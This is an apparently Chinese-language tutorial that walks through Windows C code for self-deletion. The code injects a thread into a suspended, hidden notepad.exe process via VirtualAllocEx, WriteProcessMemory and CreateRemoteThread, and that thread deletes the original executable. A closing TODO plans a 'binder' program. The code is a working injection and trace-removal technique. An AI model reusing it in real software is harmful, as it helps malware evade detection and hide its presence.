LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
//为参数开辟一块内存
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
//执行该线程
CloseHandle(Thread);
//关闭句柄
- 使用
CreateProcessA
创建一个挂起的notepad.exe
进程。 - 初始化
DeleteStruct
结构体,设置dwDeleteFile
为DeleteFileA
函数的地址,并设置dwDeleteFile_param_1
为当前可执行文件的路径。 - 使用
VirtualAllocEx
和WriteProcessMemory
在远程进程中分配内存并写入threadProc
函数和参数。 - 使用
CreateRemoteThread
在远程进程中创建线程,执行threadProc
函数,该函数会删除当前可执行文件。
创建新进程
STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA
:指定新进程的主窗口的属性。PROCESS_INFORMATION
:接收新进程和其主线程的标识符。
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
创建一个新的进程,此处是
notepad.exe
, 参数CREATE_SUSPENDED
表示新进程创建后处于挂起状态。CreateProcessA
是用于创建一个新的进程和其主线程的函数。在这里,它被用来创建notepad.exe
进程。lpApplicationName
: 指向一个以 null 结尾的字符串,指定可执行模块的名称这里是
"c:\\windows\\system32\\notepad.exe"
表示要创建的进程是 NotepadlpCommandLine
: 指向一个以 null 结尾的字符串,作为命令行参数传递给新进程这里为
0
,表示没有额外的命令行参数lpProcessAttributes
: 指向SECURITY_ATTRIBUTES
结构体,定义新进程的安全属性。这里为
0
,表示使用默认安全属性。lpThreadAttributes
: 指向SECURITY_ATTRIBUTES
结构体,定义新进程的主线程的安全属性这里为
0
,表示使用默认安全属性。bInheritHandles
: 如果为TRUE
,则新进程将继承调用进程的句柄句柄
: 在操作系统中,句柄(Handle)是一个用于标识系统资源的抽象引用。句柄本质上是一个唯一的整数值,由操作系统生成并返回给应用程序,以便应用程序可以在后续操作中引用特定的资源。在 Windows 操作系统中,句柄用于标识各种系统资源,包括进程、线程、文件、窗口、内存等句柄继承
: 句柄继承是指一个进程(父进程)在创建另一个进程(子进程)时,允许子进程继承父进程的句柄。这意味着子进程可以访问和使用这些句柄,以便执行操作。句柄继承在进程间通信和资源共享中非常有用。例如,父进程可以创建一个文件句柄,并允许子进程继承这个句柄,以便子进程能够读写同一个文件。
dwCreationFlags
: 控制新进程的优先级和创建状态这里使用了两个标志
CREATE_NO_WINDOW
:不为新进程创建窗口。CREATE_SUSPENDED
:创建的进程将处于挂起状态,直到调用ResumeThread
函数。挂起状态
: 进程处于挂起状态(Suspended State)是指进程已经创建但未开始执行。这意味着操作系统已经为进程分配了必要的资源,并且进程已经在系统中注册,但进程中的线程没有开始执行任何代码。创建挂起状态的进程通常用于以下目的
- 配置初始化: 可以在进程启动前进行一些必要的初始化配置,如设置环境变量、注入代码或修改进程的内存。
- 远程线程注入: 在挂起状态下,可以在进程内存空间中注入自定义代码或线程,然后恢复进程执行。
- 同步操作: 在某些情况下,父进程需要在子进程启动前完成一些操作,因此需要子进程处于挂起状态。
lpEnvironment
: 指向新进程的环境块这里为
0
,表示使用调用进程的环境。lpCurrentDirectory
: 指向一个以 null 结尾的字符串,指定新进程的工作目录这里为
0
,表示使用调用进程的工作目录。lpStartupInfo
: 指向STARTUPINFOA
结构体,该结构体指定新进程的主窗口的属性si
是一个使用{0}
初始化的STARTUPINFOA
结构体。si.cbSize
:在调用CreateProcessA
时,结构体的cbSize
成员必须设置为结构体的大小。尽管这里未显式设置,CreateProcessA
内部会设置该值。- 虽然大部分成员为默认值,但
CreateProcessA
需要这个结构体来获取新进程的启动信息。
lpProcessInformation
: 指向PROCESS_INFORMATION
结构体,该结构体接收新进程和其主线程的标识符。在这里,pi
是一个已经初始化的PROCESS_INFORMATION
结构体。pi
结构体用于接收新进程和其主线程的标识符,以及其他与进程相关的信息。CreateProcessA
成功返回后,pi
会包含新进程和线程的句柄和标识符。
获取删除文件函数指针
DeleteStruct DS; DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA"); GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
GetModuleHandleA("kernel32.dll")
:获取kernel32.dll
模块的句柄。GetProcAddress
:获取DeleteFileA
函数的地址,并存储在DS.dwDeleteFile
中。GetModuleFileNameA
: 获取当前进程的文件名并存储在DS.dwDeleteFile_param_1
中。
定义结构体用于存储删除文件所需的信息
DeleteStruct DS; // 用于存储删除文件所需的信息
typedef struct DeleteStruct { FARPROC dwDeleteFile; CHAR dwDeleteFile_param_1[MAX_PATH]; };
获取函数地址
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
DS.dwDeleteFile
将存储DeleteFileA
函数的地址,以便后续调用。GetModuleHandleA("kernel32.dll")
:获取kernel32.dll
模块的句柄。这是一个常用的系统 DLL,包含了许多常见的系统函数。该句柄代表kernel32.dll
模块在当前进程地址空间中的基地址。GetProcAddress
:从指定的模块中获取指定函数的地址。这里指定的函数是DeleteFileA
,它是kernel32.dll
中用于删除文件的函数。DeleteFileA
是 Windows API 中的一个函数,用于删除指定的文件。它的原型如下:BOOL WINAPI DeleteFileA( _In_ LPCSTR lpFileName );
其中
lpFileName
参数是要删除的文件路径。GetProcAddress
是一个 Windows API 函数,用于从指定的模块中获取一个函数的地址。第一个参数是模块的句柄,这里传入的是
kernel32.dll
模块的句柄。因为
DeleteFileA
函数是kernel32.dll
模块中的一部分。为了从一个模块(DLL)中获取某个函数的地址,必须先获得该模块在当前进程中的基地址,这就是模块的句柄。第二个参数是要获取地址的函数名,这里传入的是
"DeleteFileA"
,即我们要获取DeleteFileA
函数的地址。
调用
GetProcAddress
返回一个指向DeleteFileA
函数的指针。
获取当前模块的文件路径
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
获取当前正在执行的可执行文件的完整路径,并将其存储在
DS.dwDeleteFile_param_1
字符数组中。GetModuleFileNameA
是一个 Windows API 函数,其作用是获取指定模块的文件名。hModule
:模块的句柄这里是
NULL
,函数将返回当前进程的可执行文件的路径。lpFilename
:指向接收模块路径和文件名的缓冲区的指针。nSize
:缓冲区的大小,以字符为单位。MAX_PATH
是一个常量,表示路径的最大长度。这个常量通常定义为 260 字符,以确保缓冲区足够大以容纳完整的路径名。
分配内存并写入远程进程
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
VirtualAllocEx
为远程进程分配内存,大小为 2048 字节,权限为可执行、可读、可写。WriteProcessMemory
将threadProc
函数的代码写入远程进程的分配内存中。
分配内存并写入参数
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
为远程进程分配内存以存储
DeleteStruct
参数,并将DS
写入该内存中。创建远程线程
DWORD RETSIZE; HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE); CloseHandle(Thread);
CreateRemoteThread
在远程进程中创建线程,起始地址为ADDRESS
,参数为pRemoteParam
。- 使用
CloseHandle
关闭线程句柄。
TODO
- 捆绑程序 - Google Search
- 整个 Go 或者 Rust 写的捆绑程序